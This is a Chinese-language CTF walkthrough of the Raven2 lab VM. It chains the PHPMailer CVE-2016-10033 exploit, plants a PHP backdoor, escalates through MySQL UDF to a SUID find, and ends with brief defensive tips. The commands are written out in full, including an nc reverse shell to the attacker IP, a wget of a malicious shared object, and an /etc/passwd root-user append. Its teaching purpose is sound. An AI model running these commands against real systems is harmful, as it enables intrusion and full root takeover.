No.3-红队渗透项目:Raven2
字数 1395 2025-08-19 12:42:24

Raven2 渗透测试实战教学文档

1. 环境准备

  • 攻击机: Kali Linux
  • 目标机: IP地址 192.168.111.132 (VMware虚拟机)
  • 工具准备: nmap, dirb, searchsploit, nc (netcat), gcc, mysql客户端

2. 信息收集阶段

2.1 网络扫描

nmap -sP 192.168.111.0/24  # 发现目标IP
nmap 192.168.111.132 -p-   # 全端口扫描

2.2 Web目录枚举

dirb http://192.168.111.132

发现关键路径:

  • http://192.168.111.132/vendor/ - 包含flag文件
  • http://192.168.111.132/contact.php - PHPMailer漏洞点

3. Web渗透

3.1 获取flag1

  1. 访问 http://192.168.111.132/vendor/path
  2. 获得flag1: flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

3.2 PHPMailer漏洞利用(CVE-2016-10033)

  1. 发现PHPMailer版本为5.2.16
  2. 搜索漏洞利用代码:
    searchsploit 40974
    cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/Desktop/
    
  3. 修改exp文件关键参数:
    • 第41行: 目标URL http://192.168.111.132/contact.php
    • 第42行: 后门名称 /dayu.php
    • 第44行: 监听IP和端口 192.168.111.128 6666
    • 第47行: shell写入路径 /var/www/html/dayu.php
  4. 执行exp:
    python3 40974.py
    
  5. 访问触发页面:
    http://192.168.111.132/contact.php
    
  6. 开启监听并访问后门:
    nc -vlp 6666
    http://192.168.111.132/dayu.php
    

3.3 获取flag2和flag3

  1. 提升shell交互性:
    python -c 'import pty; pty.spawn("/bin/bash")'
    
  2. 查找flag文件:
    find / -name flag*
    
  3. 发现flag路径:
    • /var/www/flag2.txt
    • /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
  4. 获取flag2:
    cat /var/www/flag2.txt
    
    输出: flag2{6a8ed560f0b5358ecf844108048eb337}
  5. 获取flag3:
    浏览器访问 http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png

4. WordPress数据库信息收集

  1. 查找WordPress配置文件:
    grep "password" -rn wp-config.php
    
  2. 获取数据库凭据:
    /** MySQL database username */
    define('DB_USER', 'root');
    /** MySQL database password */
    define('DB_PASSWORD', 'R@v3nSecurity');
    

5. MySQL提权

5.1 环境检查

  1. 登录MySQL:
    mysql -u root -pR@v3nSecurity
    
  2. 检查MySQL版本和权限:
    select version();
    select user,host from user;
    
  3. 检查安全设置:
    show global variables like 'secure%';
    show variables like '%plugin%';
    

5.2 UDF提权准备

  1. 搜索并编译UDF提权代码:
    searchsploit 1518
    cp /usr/share/exploitdb/exploits/linux/local/1518.c /root/Desktop/
    gcc -g -c 1518.c
    gcc -g -shared -o dayu.so 1518.o -lc
    
  2. 传输so文件到目标:
    # 攻击机开启HTTP服务
    python3 -m http.server 8081
    # 目标机下载
    wget 192.168.111.128:8081/dayu.so -O /tmp/dayu.so
    

5.3 UDF提权执行

  1. MySQL中执行:
    use mysql;
    create table dayu(line blob);
    insert into dayu values(load_file('/tmp/dayu.so'));
    select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
    create function do_system returns integer soname 'dayu.so';
    select * from mysql.func;  # 验证函数创建
    
  2. 赋予find命令SUID权限:
    select do_system('chmod u+s /usr/bin/find');
    
  3. 利用find提权:
    touch dayu
    find dayu -exec "/bin/sh" \;
    
  4. 获取root权限后查找flag4:
    find / -name flag*
    cat /path/to/flag4
    
    输出: flag4{df2bc5e951d91581467bb9a2a8ff4425}

6. 拓展技术

6.1 反弹shell替代方案

select do_system('nc -nv 192.168.111.128 6677 -e /bin/bash');

6.2 稳定shell会话

python -c 'import pty; pty.spawn("/bin/bash")'
# 按Ctrl+Z
stty raw -echo
fg

6.3 添加root用户

openssl passwd dayu  # 生成密码hash
select do_system('echo "dayu:xFzxgAbLwwOOA:0:0:root:/root:/bin/bash" >> /etc/passwd');
su dayu

7. 关键知识点总结

  1. 信息收集: nmap扫描、目录枚举
  2. 漏洞利用: PHPMailer CVE-2016-10033
  3. 权限提升: MySQL UDF提权技术
  4. 后渗透: 稳定shell、添加用户等技术
  5. 防御建议:
    • 及时更新PHPMailer版本
    • 限制MySQL文件操作权限(secure_file_priv)
    • 避免MySQL以root权限运行
    • 定期检查系统SUID权限文件
Raven2 渗透测试实战教学文档 1. 环境准备 攻击机 : Kali Linux 目标机 : IP地址 192.168.111.132 (VMware虚拟机) 工具准备 : nmap, dirb, searchsploit, nc (netcat), gcc, mysql客户端 2. 信息收集阶段 2.1 网络扫描 2.2 Web目录枚举 发现关键路径: http://192.168.111.132/vendor/ - 包含flag文件 http://192.168.111.132/contact.php - PHPMailer漏洞点 3. Web渗透 3.1 获取flag1 访问 http://192.168.111.132/vendor/path 获得flag1: flag1{a2c1f66d2b8051bd3a5874b5b6e43e21} 3.2 PHPMailer漏洞利用(CVE-2016-10033) 发现PHPMailer版本为5.2.16 搜索漏洞利用代码: 修改exp文件关键参数: 第41行: 目标URL http://192.168.111.132/contact.php 第42行: 后门名称 /dayu.php 第44行: 监听IP和端口 192.168.111.128 6666 第47行: shell写入路径 /var/www/html/dayu.php 执行exp: 访问触发页面: 开启监听并访问后门: 3.3 获取flag2和flag3 提升shell交互性: 查找flag文件: 发现flag路径: /var/www/flag2.txt /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png 获取flag2: 输出: flag2{6a8ed560f0b5358ecf844108048eb337} 获取flag3: 浏览器访问 http://192.168.111.132/wordpress/wp-content/uploads/2018/11/flag3.png 4. WordPress数据库信息收集 查找WordPress配置文件: 获取数据库凭据: 5. MySQL提权 5.1 环境检查 登录MySQL: 检查MySQL版本和权限: 检查安全设置: 5.2 UDF提权准备 搜索并编译UDF提权代码: 传输so文件到目标: 5.3 UDF提权执行 MySQL中执行: 赋予find命令SUID权限: 利用find提权: 获取root权限后查找flag4: 输出: flag4{df2bc5e951d91581467bb9a2a8ff4425} 6. 拓展技术 6.1 反弹shell替代方案 6.2 稳定shell会话 6.3 添加root用户 7. 关键知识点总结 信息收集 : nmap扫描、目录枚举 漏洞利用 : PHPMailer CVE-2016-10033 权限提升 : MySQL UDF提权技术 后渗透 : 稳定shell、添加用户等技术 防御建议 : 及时更新PHPMailer版本 限制MySQL文件操作权限(secure_ file_ priv) 避免MySQL以root权限运行 定期检查系统SUID权限文件